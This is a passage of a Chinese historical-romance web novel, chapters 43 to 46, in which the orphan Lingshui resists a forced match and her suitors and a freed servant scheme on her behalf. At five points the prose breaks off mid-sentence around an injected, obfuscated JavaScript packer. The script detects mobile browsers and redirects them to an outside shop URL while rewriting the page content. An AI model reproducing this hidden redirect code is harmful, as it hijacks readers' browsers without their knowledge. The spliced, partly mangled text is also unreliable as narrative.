萧邡与萧季瑶快速交换了一个眼色,就听得萧季瑶懒洋洋道:“谢七与你年岁相仿,不过一个乳臭未干的小郎君,哪里会照顾人。陛下还真是喜欢乱点鸳鸯谱,全然不为人考虑啊。” 这话说得放肆又不堪,灵徽暗暗皱眉,却仍装作懵懂:“陛下体恤我一介孤女,我感念圣恩,不敢有违。” 这次彭城王萧邡先忍不住了:“若是你不喜欢他,大可以给陛下明言,女郎如此容色,建康城还不是争相求娶。” 萧季瑶便又笑:“说起来,彭城王尚无王妃呢,与其嫁他谢七,还不如嫁入王府更尊贵些。” 这便是图穷匕见,灵徽急忙起身,惶恐道:“两位殿下又说笑了,灵徽何德何能,怎敢高攀。” 她惶恐起来,有种楚楚可怜的气质,看得彭城王越发喜欢,不由得温声又安慰了几句。 二人滞留到日落时分才离开,中间还由着灵徽侍奉在侧,用了些素斋。 等他们离开后,灵徽终于松了口气,颓然坐在莞席上,怔怔发了很久的呆。 掌灯时分,她缓缓从厅中走出,顺着廊庑,独自踱步,往后山而去。后山寄养的人已经分散到了各府,此时那里一片空寂。她不过是想走一走,将白日堆砌的坏情绪抛给夜风,强迫自己冷静下来。 楚楚去了宫中,为皇后安胎,云阁和星台受了惊吓,躲在了屋中。这样也好,就她一个人,缓缓地往前走,孤寂也好,失落也罢,不过都是暂时的。没道理为了别人的恣睢和阴狠,惩罚和为难自己。 秋风萧瑟,吹在脸上,寒意凌冽。 她忽然听到身后有脚步声传来,不轻不重,不徐不疾,就那样跟着自己,如影子一般。蓦然回首,一个清瘦的身影就站在不远处,仍如平日所见一般,带着几分腼腆,几分矜持。 “宣阳,你跟着我做什么?”灵徽没有惊慌,只是对着幽冷空寂的风,无奈苦笑。 自从被长公主赐给她为奴,这个人就一直很低调,力图将自己活成一个影子一般。她需要时,他会出现,不言不语地做完事情,默默告退。她不需要时,他便消失在她的视野中,仿佛从未有过他这个人一般。 听云阁说,他极爱读书,观中书不多,他便找道家经书来读,连焚烧给天地的祭文都不放过。 这般求知若渴的人,应该算不得什么心思阴狠之辈。于是灵徽也乐得成全,从谢衍那里借了些经史子集给他看。得了那些,他便更忙了,常常整日不见人,也算给了彼此一个清净。 今日他不看书,却出现在了这里,灵徽有些不解,正猜测他是不是受了长公主的指使,需要监视自己的一举一动,就听他开了口:“女君心中,似有不豫之事?” 灵徽没料到他会这样问,顿了一下,笑道:“没有,不过是随意走走。你今日不读书吗?怎也有了闲情散步?” 宣阳低头,莞尔笑道:“也只有在女君这里,会这般对待一个奴仆。” 灵徽知道他的意思,就顺着这话说了下去:“我听说你出身书香门第,学识不错,若非经历战乱流离,也绝不会落到卖身为奴的境地。既然如此,我也不该多为难你,放奴文书我已呈给了官府,待文书通过,你便可离开。天地辽阔,该去哪里,你自己做主吧。” “女君好心,奴不胜感激。”他向着灵徽走近了几步,一张清秀白皙的面庞被月光笼罩着,无端让人怜惜。 灵徽不惯与人亲近,不自觉地往后退了几步,而他浑然未觉,继续逼近她:“女君想必遇到了麻烦,若蒙不弃,奴愿献上一计,可令女君展颜。” 灵徽顿住了身体,狐疑地看向对方。 宣阳慢慢俯下身,在她耳边轻声说了一句话。尚未等她回味过来,便又站直了身体,拱了拱手,十分郑重地行了个大礼,道:“登高必跌重,非如此,不足以报仇,女君万万不可心软。” 他似乎有洞察人心的本事,见灵徽仍犹豫,又补了一句:“奴不叫什么宣阳,奴叫令狐望,字德音。长公主为报复零陵太守方镜,连他府中的其他胥吏也不放过。我阿父原本是方镜手下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047431|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舍人,无端遭连累被诛杀,她因见我相貌不差,未曾杀我,却将我放在府中,极尽羞辱。” 说到这里,令狐望声音微颤,抬头时眼圈通红。他不再自称为奴,便是固守着尊严,不肯丢弃。 “得女君怜悯,未尝苛待,还允我自由,我自当肝脑涂地以报。” 灵徽看着他,长长叹息了一声。胥吏之子,算不得高门,却也体面,遭连累沦落至此,他心中有恨有怨,皆属正常。其实自己并未对他有什么恩,不过是阿父教导,莫要与人为难,莫要苛待他人,便也习惯这样处事罢了。 短短几句话,她已能看出,令狐望非池中物。这样的人,自是可以结交,留些恩惠给他,今后的路才不至于走窄了。 思及此处,她伸手,从腰间拿下一枚玉玦,递给了他,温言道:“方才听君一席话,着实茅塞顿开。君有大才,不可束在道观这般方寸之地。我未有长物,只能以此玉玦为赠,待文书一到,你便离开。长公主那里无需担心,她既然将你赠予我,便该有我自行处置。” 令狐望摇头,拒绝的果断:“未见你平安,我不会离开。” 灵徽其实很感谢他,这样危险又无望的路途中,他明明算得上陌生人,却肯为自己着想,为自己担心。 “不用担心我,我有很多人保护的……”灵徽笑道,神色轻松,“你的计策都帮我出好了,我要是还不会用,那便是蠢材了。” “我……”令狐望仍要坚持,灵徽却不给他这个机会。 “令狐德音,你既然那么喜欢读书,当是有抱负的吧。困在我这里算什么,难不成还要给我当军师祭酒?如今天下动荡,我也很好奇,你这满腹才华,能不能给自己挣条活路?说不定……说不定我将来还需要依仗你的帮忙呢,你可必须要争气啊!” 说完,她拍了拍令狐望的肩膀,像是当年阿父对手下的将士一般。那双眼眸盈盈动人,勉力藏起心事,尽量让自己看着慷慨豪迈,好像一个神气十足的女将军般。 将门遗孤,忠臣之后,她本该是世上最潇洒的女子,却困于仇恨中画地为牢,令狐望知道她很多事,所以很心疼她。 43. 四十三、诉苦 从后山散步回来,又看到在门前东张西望的云阁,看来又有客至。也不知道为什么,这清都观竟然这般热闹,尤其到了晚上,不知道的还以为自己有多轻浮,做什么迎来送往的生意。 不过今夜来的人,她大体是猜到的。两边同时得了彭城王来观中的消息,若是赵缨,云阁大约是不会守在门外的,所以只能是谢衍。 他是个赤诚的人,定是心中着急,故而连一夜都不愿等。 灵徽示意云阁退下,想了想又道:“你去帮令……宣阳准备一床厚被子,如今越发冷了,他盖的太单薄会生病的。” 云阁高高兴兴地应了下来:“女君就是心善,咱们跟着你,哪里会受冻。”说罢,快步走向了另一处院落。 屋中的香已经冷了,残余的青烟袅袅飘散于空中,带着薄薄的余味。灵徽的屋前孤悬着几盏灯,在秋风的摇曳中,泛着昏黄的光。谢衍就负手站在廊下,身姿清绝,轮廓优美,独脸上的神情显得朦胧。 他正仰头望着院中那棵巨大的梧桐,因秋意渐浓,梧桐的叶子稀疏了许多。只是江南不同北地,每每到了这个时候,总会有叶落随风的悲凉。 一声浅浅的呜咽声传来,伴随着他熟悉的矜持脚步声。谢衍猛然回过头来,却看到廊下玉人姗姗移步,脸上挂着泪痕。 廊下残灯昏暗,落在她脸上斑驳的痕迹上,她的眸子里水波微荡,盈盈中有决堤的预兆。 果然,在他移步而来的那一刹那,她徘徊在眼中的泪水骤然涌出,潸然而落。 谢衍慌了神,几步便冲到了灵徽面前,手忙脚乱的从怀中掏出了一方帕子,无措地帮她擦着汹涌而出的泪。她没有躲避,任交错纵横的泪,在他温柔的擦拭中,消弭于锦帕之中。 似乎仍觉不够,她忽然攥住了谢衍的前襟,埋首在他怀中,哭出了声来。 谢衍僵住,那股幽幽地月华香气直往他呼吸里扑,他觉得整个身子都在发麻。可是怀中之人的泪水却打湿了他的衣襟,声声呜咽入耳,他又觉得心口揪疼得厉害。 两种奇妙的感觉交杂在身体里,引得他狂乱又无措,忽冷又忽热,像是生了病一般。 “灵徽……”谢衍挣扎了半晌,终于鼓足勇气,用手臂环住了她纤弱的身体,像是对待世间最珍奇的宝物般,虔诚又认真,敛去了平日的所有轻浮。 “受了委屈,只管告诉我,我帮你出气,好不好?”恍若哄孩子般的语气,是他此刻能组织起来的所有语言。 他曾经听到过赵缨与她交谈,便是这般温存语气,她对赵缨依恋的紧,想必是愿意人这样哄她的。 说来也怪,她的话说得已经很清楚了,她心里没有自己。但是谢衍仍旧觉得,在这个时候她能想到找自己,他就已经很知足了。 “我让人去给你递消息,实在……实在是别无他法。”灵徽渐渐止住哭泣,声音仍哽咽沙哑,她勉力让自己用最快的速度平静下来,连悲伤都浅淡而克制。 可越是如此,便越让人怜惜。 “他们欺人太甚。”谢衍怒气纵横,却碍于教养,并没说出更多过失的话。 灵徽垂下眼眸,忍住了眼中的潸然:“我不过一个孤女,任人欺凌也属正常。只是彭城王着实无礼……他……” “无礼?他做了什么?”谢衍的眼圈都红了,他一直都知道彭城王萧邡荒唐,虽尚无王妃但府中姬妾甚多,还总流连于烟火之地。这样的心性品格,若是让灵徽落到了他的眼中,必会引来觊觎。就算只是想,他都觉得怒气满涨,无法呼吸。 灵徽受了惊,全然没了平日的清冷疏淡,看着像个受惊的狸奴,缩在他的怀里,说话间仍瑟瑟:“他……倒也没做什么,不过言语间暗示我,让我主动拒绝和你的婚事。他们说,王妃远比谢家妻要尊贵,何况我流落北地,声名有污,嫁过去定会被折辱嘲讽。” “胡言乱语!”谢衍捏住了拳头,面上青筋暴起,震怒道。 “长主亦在逼迫,全然不念救命之恩。她今日带彭城殿下来,本就是有促成之意。我只是不懂,我一个孤女的婚事,真的有那么重要吗?我本已出家,为何人人皆要迫我还俗,不肯给我个清净?”她说得缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057914|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,字字都衔着委屈和怨气。 这个怨里,也包括着他和他背后的谢氏。 谢衍清楚,他的痴心和倾慕,本是无暇,但的的确确合了陛下和家族的心愿。灵徽不过一个女郎,又经历了多年流离,她不会明白,她的价值不是她这个人,而是她背后的杨尚留下的数万部曲,还有南渡而来的流民之心。 她未曾享受过一日将军之女的优待,反而因为这个身份遭受无数坎坷,如今又要因为这些所谓的势力而被安排一生。 彭城王只是重色,长公主却所谋甚大,这一点陛下亦心中有数,并对她与琅琊王家的接触,十分不满。 “匹夫无罪,怀璧其罪,灵徽这般好的女郎,本来值得最好的。你放心,无论别人如何,我不会逼迫你。”谢衍将灵徽的手握在掌中,珍重万分,眼眸清澈干净,如水潺潺。 他是世间顶好顶好的儿郎,这样的郎子在这样污浊的世道,如此格格不入。 灵徽眼含泪水,唇角却弯了起来,挤出一个别扭的笑容:“若真是被彭城王……倒不如早日遵从圣旨,就……” 她敛下了眼眸,眼圈不知因为羞意还是伤心,又泛了红。 谢衍胸口蔓延着一团火,那团火灼烧着他的冷静与理智。他不难想到,灵徽告诉他的定有保留,若非受了极大的逼迫,她这样坚强的女子,如何能说出这样丧气的话。 “我不会趁人之危,但你放心,我谢家也不会任人欺辱到头上。若是长公主收敛着也倒罢了,若是再有出格之举,陛下也不会再纵着她。”谢衍说完,将灵徽略有凌乱的发整理到耳后,又温柔地替她拭着残泪。 四目相望,灵徽报之以微笑,明眸里全是缱绻的情意。 赵缨不知自己在风露中站了多久,庭中举止亲密的两个人,天造地设的相配,他来迟一步,没有如约定般永远第一时间出现在她的身边,仿佛是一种天意。天意让他看到了灵徽命运的另一种可能,一个没有他,却能锦绣无边的可能。 他想要一生一世照顾她,可是让她陪着自己提心吊胆,他舍不得。 44. 四十四、英雄 赵缨第二日下朝时,正好遇到了彭城王萧邡。 衣着华贵的年轻王孙,生着一张丰腴忠厚的脸。可惜被酒色掏空了身子,皮肤苍白又松弛,一笑起来眼睛眯成了一条缝,走路的姿态也有些蹒跚。 甫一看到赵缨,尚未等赵缨对他行礼,萧邡先一步握住了赵缨的手腕,殷勤道:“赵使君久不在京城,想见你一面真是困难。听说上次胡人犯境,你率领荆州军连战连捷,不仅守土有功,反而还收复了不少城池。大魏能有你这般忠臣悍将,实乃社稷之福啊!” 赵缨忙说不敢,谦逊地客套了几句,有些不耐。若非完全不熟,也不至于抓着快一年前的事情说这么多,何况彭城王的心思,还不都写在了脸上,并不难猜。 “见使君一面难得,不喝一杯说不过去。这样,本王今夜在裕景楼设宴,为将军庆功,再找三五好友作陪,可好?使君若不弃,定要给小王这个面子啊!”萧邡笑声洪亮,又在群臣必经之处,很快便引来众人侧目。他却浑然未觉的样子,只一味和赵缨套近乎。 赵缨是个谦恭谨慎却沉稳果决的人,面上依旧笑意温和,但却不动声色地将自己的手抽了出来,保持一个合适去不疏远的距离,温声道:“殿下相邀,原不该辞,只是之前答应了宜城君,要与她一道为太尉忠献公做法事,三日斋戒,不得下山。所以实在去不了,还请海涵。” 彭城王故作惊疑,道:“使君竟与宜城君是旧识?” 赵缨依旧笑意浅淡端稳:“不瞒殿下,臣年少之时便追随忠献公左右,蒙他教导养育,与宜城君有重于骨肉之情。说句失礼之言,臣看宜城君之重,更甚于自己的性命。” 彭城王愣了愣,总觉得他话里有话,但又寻不出他半点错处。只好讷讷道:“既然如此,那也是不巧。改日吧,改日也请宜城君一起来,我与她也投契的很,早就想邀约了。” 赵缨不欲再说,便含糊了句“改日”,提步迈出了宫门。 等坐上了马车,赵缨紧攥的拳头才缓缓松开。若不是避免徒增是非,就冲他和萧季瑶二人欺辱灵徽一事,他就该揍得对方满地找牙。只是建康到底天子脚下,若是一时冲动,只会有无穷无尽的麻烦,也让灵徽无法自处。 有时总会怀念年少之时,那时候他的全部冲动,都为了灵徽。只要她受一点点委屈,便是为她惹下滔天大祸,他都在所不惜。她是自己最柔软的牵挂,是自己最坚硬的铠甲。 为了她,什么都不怕。 可是现在,拥有的太多,失去的太多,所以顾忌就变得更多了。萧邡毕竟是王侯,言语敲打几句,但愿他能有个顾忌,莫要再打什么糊涂主意。 但萧邡却显然没有这个觉悟。 赵缨离开后,他咂摸着他方才所说的话,品出的却是另外的意思。 他原本看不上赵缨的,不过是个没有家世依仗的白衣,仗着有几分勇武,建了些军功,所以得到皇帝的看重,让他坚守坐镇荆州要地。说到底,是个朝不保夕的存在,哪里有什么根基。 他今日肯主动亲近,不过是听萧季瑶说起过他与杨灵徽的关系。既然他自己都承认了他们之间的不同寻常,那说明萧季瑶的主意不错,从赵缨下手也是换取芳心的捷径。 萧季瑶野心勃勃,便当他是个傻子么。如花美眷他也要,美人背后的势力他也喜欢,到时候成了事,有赵缨这样的猛将给自己保疆守土,那岂不是一举三得。 萧邡摸了摸下巴,越发觉得自己势在必得,前途一片辉煌。 …… 赵缨方才所说,也并非借口。 又到了霜降之时,便又到了师父的忌日。以往他都是自己独自祭祀的,可是今年圆月安然无恙的回来了,于是悲伤都有了依靠,他再也不用一个人面对萧萧索索的世界,感受五脏六腑的空寂和荒芜。 灵徽早早就换好了素衣,头上只用一根银簪挽了发,鬓边簪着一朵小白花,衬得五官越发疏淡朦胧。 观门深闭,袅袅青烟盘旋,一人一个蒲团地跪在师父的牌位之前,相顾无言,各自垂泪。 “昨日既然来了,为什么不告诉我?”灵徽将一支香插入了香炉中,拭了拭残泪,转头低声问道。 赵缨看着她纤瘦孤清的背影,想要解释,却欲言又止,最后只淡淡道:“见你无恙,便放心了。” “放心什么?放心将我交到别人手中,由着别人照顾我么?阿兄,你怎么总是这般有趣,自以为自己所想便是对的,做什么都是为了别人好……我阿父当年小看你了,你根本不该去战场厮杀,你该去当圣贤,让人顶礼膜拜才是。” 她的讽刺不可谓不尖刻,便是赵缨都有些生气了:“圆月,有话直说,何必这般争锋相对。” “没什么好直说的,正如你所见,你不出头便有人替我出头,若受了欺辱,你置若罔闻,自然不会人人都如你一般,权衡利弊,深思熟虑。”她微肿的眼眸直直迫视着赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077246|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缨,有些咄咄逼人:“你我之间,怎么总像是我在无理取闹,步步强逼。你若是不愿,大可以直说,不用去顾惜什么旧情。毕竟你仍是阿父的爱徒,就算你我无缘,也还有情分在的。” 说完这句,她别扭着跪在蒲团之上,似乎铁了心不再理会他。 下一瞬,她便落入赵缨的怀中,他的拥抱慌乱又用力,箍得灵徽生疼。 “我怎会不愿,不过是不敢相信罢了。我不敢相信你会放着那么好的谢衍不要,偏偏垂青于我。我何德何能,给不了你安逸的生活,说不出讨你欢心的话,甚至没有在第一时间就出现在你面前,为你做主。圆月,我没有底气,看到你和他那样相配,我也只能说服自己成全一个办法,不然还能如何?你是世上最好的女郎,我不敢自私自利,奢求独揽明月,将你拽入万丈红尘中。若是你跟了我,哪怕受一丝委屈,我又该如何向师父交代。” 靠得太近,灵徽又看到了他脖颈上的那颗痣,随着他的呼吸起伏,然而那颗痣下,是一道狰狞的伤疤,那样深刻可怖,一直蜿蜒到他衣衫遮蔽之处。这样的伤,他会有多少呢?别人是玉粒金莼滋养的富贵闲适,他是刀枪剑戟拼出的自尊自强。 分明不一样啊。 可是他果真如他自己口中说得这般卑微怯懦吗?他分明是习惯了以退为进,藏拙装愚,不然他如何短短数年就站在这样高的位置上,受皇帝信任,赢同僚信服,受百姓拥戴。曾经那个将她捧在手中的赵家阿兄怕是早就死在了晋阳城中,如今这个位高权重的男人,到底残留着多少昔年魂魄,她不敢揣测。 如果……如果殷沣说得是真的,那他该是多可怕的一个人。踩着同袍和恩师的白骨,一步步爬到了寻常庶族难以想象的位置,反过来用柔弱卑微的姿态,换一个弱女子的心疼,再收割杨家的最后一点价值。 灵徽不敢再往下想,她觉得头昏昏沉沉的,阿父的灵位就在眼前,她渴求一个救赎自己的答案。 但理智告诉她,决不能操之过急。她要沿着自己的计划,一步步走下去,百死犹未悔。 “阿兄,圆月非英雄不嫁。”她从怀中抬起头,轻声耳语。 赵缨浑身一僵,抱着灵徽的手臂仿佛铁铸一般,箍得越发紧了,让她的呼吸都变得困难。他迷乱地一声声喊着她的名字,直到烧在胸口的火焰蔓延在了四肢百骸,将他烧得理智全无时,他才悠长地叹息了一声,彻底让自己在她编织起的罗网中,放弃了挣扎。 45. 四十五、献计 后半夜,灵徽倦了,便枕在赵缨膝上沉沉睡去。然而赵缨却了无睡意,一下下抚着灵徽的发,像是少时一样。 昨夜他来迟,却有隐情。 皇帝听闻长公主欲与王家结亲,甚为忌惮。思虑之后,特下了旨意,命他在建康城外的西山上修建卫城,屯兵以护京城,且扼长江之咽喉,并防北地之兵。 修建卫城工程浩大,又要想个完美的借口,所以他被留在太初殿,和皇帝一道商议,一直到了日暮。 皇帝忌惮王家,君臣嫌隙已深,再去将扬州刺史之职交付,怕是不可能了。只是皇帝分明更信任谢家,就算重职有缺,暂时还轮不到他这样的寒门之人。 不过,修建卫城却是极好的机会,他的势力在上游,未必不能到达京中。 正在出神时,门外忽响起叩门声。云阁他们知道规矩,断不会夤夜来此。怀中的灵徽似被所扰,不安地皱着眉,轻轻哼了几声。赵缨安抚地拍了拍她,将人缓缓抱起,放在了临时置好的一方窄榻之上,然后去开了门。 门外站着一个素衣男子,面容清秀,眸光澄澈,赵缨依稀记得,这是长公主送过来的那个奴仆,叫什么“宣阳”的。 “何事?”赵缨脸色并不好看,但也没有太为难他。他厌恶的无非是长公主本人,犯不着迁怒于这些仆婢。 师父曾教导过,不迁怒,不贰过,方为君子。 宣阳拱了拱手,行礼如仪,声音很轻:“女君有吃夜食的习惯,我准备了些汤饼,不知可需奉上?” 赵缨摇头,说不必了:“她困了,已经睡下,不劳你费心了。” 顿了顿,又道:“别总是纵着她,贪吃夜食会伤脾胃,她一向任性,从不知道顾惜自己。” 宣阳轻笑,并不认同:“女君怎会是任性之人,不过心中藏着太多事情,夜不能寐,所以才有了这样的习惯。” “你倒是细心。”赵缨此言,听不出是夸赞还是讽刺。 宣阳显然不以为意,又行了一礼,才道:“女君已放我奴籍,过些日子我便会离开。但她身陷困境,我实在不放心。使君是女君信任之人,因而今夜有句话,便是僭越无礼,我也想和使君一说。” 赵缨听他如此说,免不了多看了他几眼。与初见时的印象一样,这个人虽然孱弱的有些女气,但却很有风骨,从未如一般奴仆那样卑躬屈膝过,即使面对他的为难,也能保证不卑不亢。这一点,就很难得。 “请!”赵缨比了比手,带他一起去了偏房之中。 “不知足下有何高见,还请不吝赐教。”相对而坐时,赵缨并未表现出任何轻慢,态度算得上谦和。 宣阳挑眉,似乎颇感意外:“我一介奴仆,当不起使君一个‘请’字。” 赵缨摇头,在晕黄的光下,直视着对方的眉眼:“我年少时,师父亦曾教我相人之术。足下虽位卑,但眉宇中颇有疏朗之气,想必不会郁郁久居人下。何况圆月看重的人,必非庸碌,我自是信她的。” 宣阳便笑,很有些意气风发:“使君能有如此心胸,足见江南亦有英豪,只可惜不逢时啊!女君待我有恩,我必舍命以报,但江南我不欲再留,所以离开前,我有一计献她,不知使君可愿一听?” 赵缨垂目轻笑:“既然是给她的计策,托我转达,怕是不妥吧?何不直接说给她听,她的性子,定会一直铭记你的情义。” 宣阳沉默地看了眼赵缨,喟然叹息:“使君果然是君子,怨不得她时时记挂。”这个她是谁,不言而喻。 “女君心肠太软,便是告诉了,她也不见得会用。只是重疾须用猛药,朝廷弊病难消,若不用些非常手段,剪除病灶,女君的仇永远不可能得报。难道使君认为,当年晋阳城的惨剧,只是因为一个王冀谗言惑君?” 这些话便如猛雷,直直敲打在耳边。赵缨先是一愣,然后脸色变得越来越阴沉,说出来的话都有几分森严:“这些话……何人教你?” 眼前烛火不安地跳跃,窗外的风声呼啸,蕴着秋日的肃冷和萧杀。 宣阳对于他忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095418|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如其来的杀意毫不畏惧,淡然的眉眼里带着平静和从容,他哂笑:“豫章长公主若是有这般谋算,哪里会病急乱投医,四处攀扯。若是其他人……建康城里还有这等人物,倒是我小瞧他们了。” 说罢,不等赵缨质问,直言道:“我在江南无亲无故,了无牵挂,过几日便会离开,必不再返。女君以国士待我,我以国士报之,这些皆与使君无关。若信,可依计而行,若不信,便当我从未说过,仅此而已,无需忧虑。” 赵缨看着屋外摇曳的树影,思忖良久,终于缓缓点了点头:“请君教我。” …… 灵徽醒来时,晨曦已至,幽蓝的空气中浮动着微小的尘埃,一束阳光斜斜照进屋中,正好落在赵缨的眉眼之上。他长得周正英俊,但他自己似乎从不知道,也从不在意。 曾经俊朗的少年慢慢长成了如今棱角分明的英武模样,岁月沉淀出的,又何止是样貌的成熟。 他的意气,再难寻觅。 此时,他正端端正正地跪在蒲团上,沉静的眼眸注视着上首如山林般耸立的牌位,最中间摆着的,是他的师父,是他一生追逐的目标,是他关于英雄的全部向往。 应该是一夜未眠,赵缨看着有些疲惫,但眸子却奇异的明亮。 察觉到身边的动静,赵缨侧首,见灵徽已经醒来,声音沉沉,略有沙哑:“时辰还早,多睡一会儿吧。” 她摇头,十分赧然:“本该是我守着的,没想到我却偷懒睡着了,连累你守了一夜。” 赵缨起身,不自觉踉跄了一下,忍着发麻的腿,走过来将灵徽扶起,温柔哄劝:“原本就没有这样的规矩,是你孝顺,想要用这样的方式纪念师父。既然如此,你守着和我守着又有什么区别。” “自然是有区别的啊,”她方醒,神色有些寂寥,“你这个徒弟比我这个亲生的女儿还要做的好,岂不让我汗颜。” “师父有恩于我,我做什么都是应该的。”赵缨回答。 “是有恩,还是有愧?” 46. 四十六、压抑 赵缨的脸上带着隐忍的痛楚,清晨凉薄的空气,让他整张脸都仿佛蒙上了一层寒霜:“有恩有愧,既痛又悔。” “悔从何来?”灵徽不打算放过他一丝一毫的神色变化,又怕错过线索,又怕发现破绽。她不敢想象,若是这个世上连赵缨都无法信任,那该多让人绝望。 赵缨选择了回避这个问题,这段回忆对他来说,是深入骨髓的痛,是他一直无法释怀的遗憾,每每翻开,总是血淋淋的。 “想吃什么,我让云阁她们准备,黍粥还是汤饼?”他俯下身,替她理了理凌乱的发,又道:“先去梳洗,今日或有客来,收拾齐整些才好。” “昨夜的汤饼热一下便好。”见他回避,灵徽虽然胸口憋闷却也不豫多言,于是闷闷回道。 “昨夜的事情,你都知道?”赵缨的手顿了一下,错愕道。 她自然什么都知道,一向浅眠的人别说是敲门声,哪怕身边的人走动一步,她都会清醒过来。但是直接拆穿多无趣,他愿意藏着掖着,自己便陪他一起装聋作哑。 “我有吃夜食的习惯,就算云阁不准备,令狐望也会记得。”灵徽起身,推开了门。远处朝霞染红了半面天色,一轮红日即将破云而出。 “令狐望?”赵缨并未听过这个名字。 “就是宣阳。”灵徽再无多言,独自踱步出去。 她一向喜洁,沐浴后又换了件崭新的素衣,虽仍是素面,但到底看着没有那么憔悴了。赵缨也梳洗了一番,本无更衣想法,却见云阁已奉上另一套衣物,同样素白的颜色,上面有淡黄色的茱萸纹,看着十分精美。 他并不记得自己有件这样的衣裳。 星台快语,出言解释:“这是女君特地为使君准备的,足足做了半个月呢。” 赵缨穿上身,发现尺寸分毫不差,针脚细密平滑,这手艺刺史府最好的绣娘都做不到。 忽然想到什么,便问:“之前送来的衣裳,也都是女君亲手做的?” 这次说话的是云阁:“女君惦念使君驻边守土辛劳,你的东西,向来不假手于人的。” “她何时学会了这些……”赵缨心口微微酸涩,他的圆月是娇宠长大的姑娘,师父待她有亏欠,从不勉强她学那些针织女红之类,记忆中她也从未动过一针一线,哪怕是她的乳母都拿她没有办法。 她不喜欢的东西,谁又能勉强呢?可若是她做了,就定能做的最好。但这其中付出了多少,就无人可知了。 赵缨束好了腰带,向外走去,迎面碰上了宣阳,或者更准确来说,是令狐望。昨夜相谈许久,今日再见,对方却疏离恭谨的仿佛从没有见过他这个人一般。赵缨很欣赏他的沉稳,刚要说话时,目光却落在他悬于腰间的玉玦上。 青玉饕餮纹的玉玦,怎么看怎么熟悉,这分明是圆月日常佩戴的那一块。从她回来后,便日日不离身的。 令狐望何等聪明,顺着他的目光一看,便知他忽然恍神的缘由,于是笑道:“女君所赠,便是世间最珍贵之物,奴定当日日随身,才不负女君之厚爱。” 赵缨钝钝点了个头,勉强扯了个笑容,胸口却像是横着一块巨石,压抑着他的呼吸。 “玉佩乃贴身之物,怎能随意赠人。”他委婉提醒灵徽。 灵徽却毫不在意,淡然道:“令狐望非池中物,若是有朝一日鱼跃化龙,我便又多一重依仗了。” “有我在一日,怎会让你失了依仗。”赵缨不解,却见灵徽神色冷漠,似乎并不想和他再多言语。 然而今日注定流年不利,尚未到午时,谢家七郎又不速而来。 他是个倜傥的男子,年岁比自己小不说,单相貌来讲,整个建康城也寻不出第二个比他还昳丽的男子。今日一看,显然又是精心装扮过才来。月白色的襕袍衬得他面如冠玉,习惯性上扬的唇角涂丹点朱般的鲜艳,就连束发的白玉簪子也颇讲究,简素又不失身份。 赵缨一向欣赏这个心思剔透的谢家七郎,但今日看他,心情却不大舒畅。于是阴沉着一张脸,虽行礼如仪,但半分热络都没有。 灵徽见他却很高兴,招呼着仆婢上茶奉点心,还贴心地取了一套崭新的茶具。 “听闻今日是杨太尉冥忌之日,原不该叨扰,但我素来敬重太尉忠义,也想寄些哀思。家中奉佛,我便手抄了几卷经书,还请女君一并焚于太尉灵前,以安亡魂。”谢衍推辞了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113659|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵徽周到的安排,选择径直去了设祭的屋子,从庚寅手中取过经卷,奉到了灵徽手中。 赵缨却阻止,道:“元和的心意,我们心领了,师父英灵当知元和之心。可是这里毕竟是道观,在此若奉佛经,难免怪异。不如交予我,改日送去师父衣冠冢处,可好?” 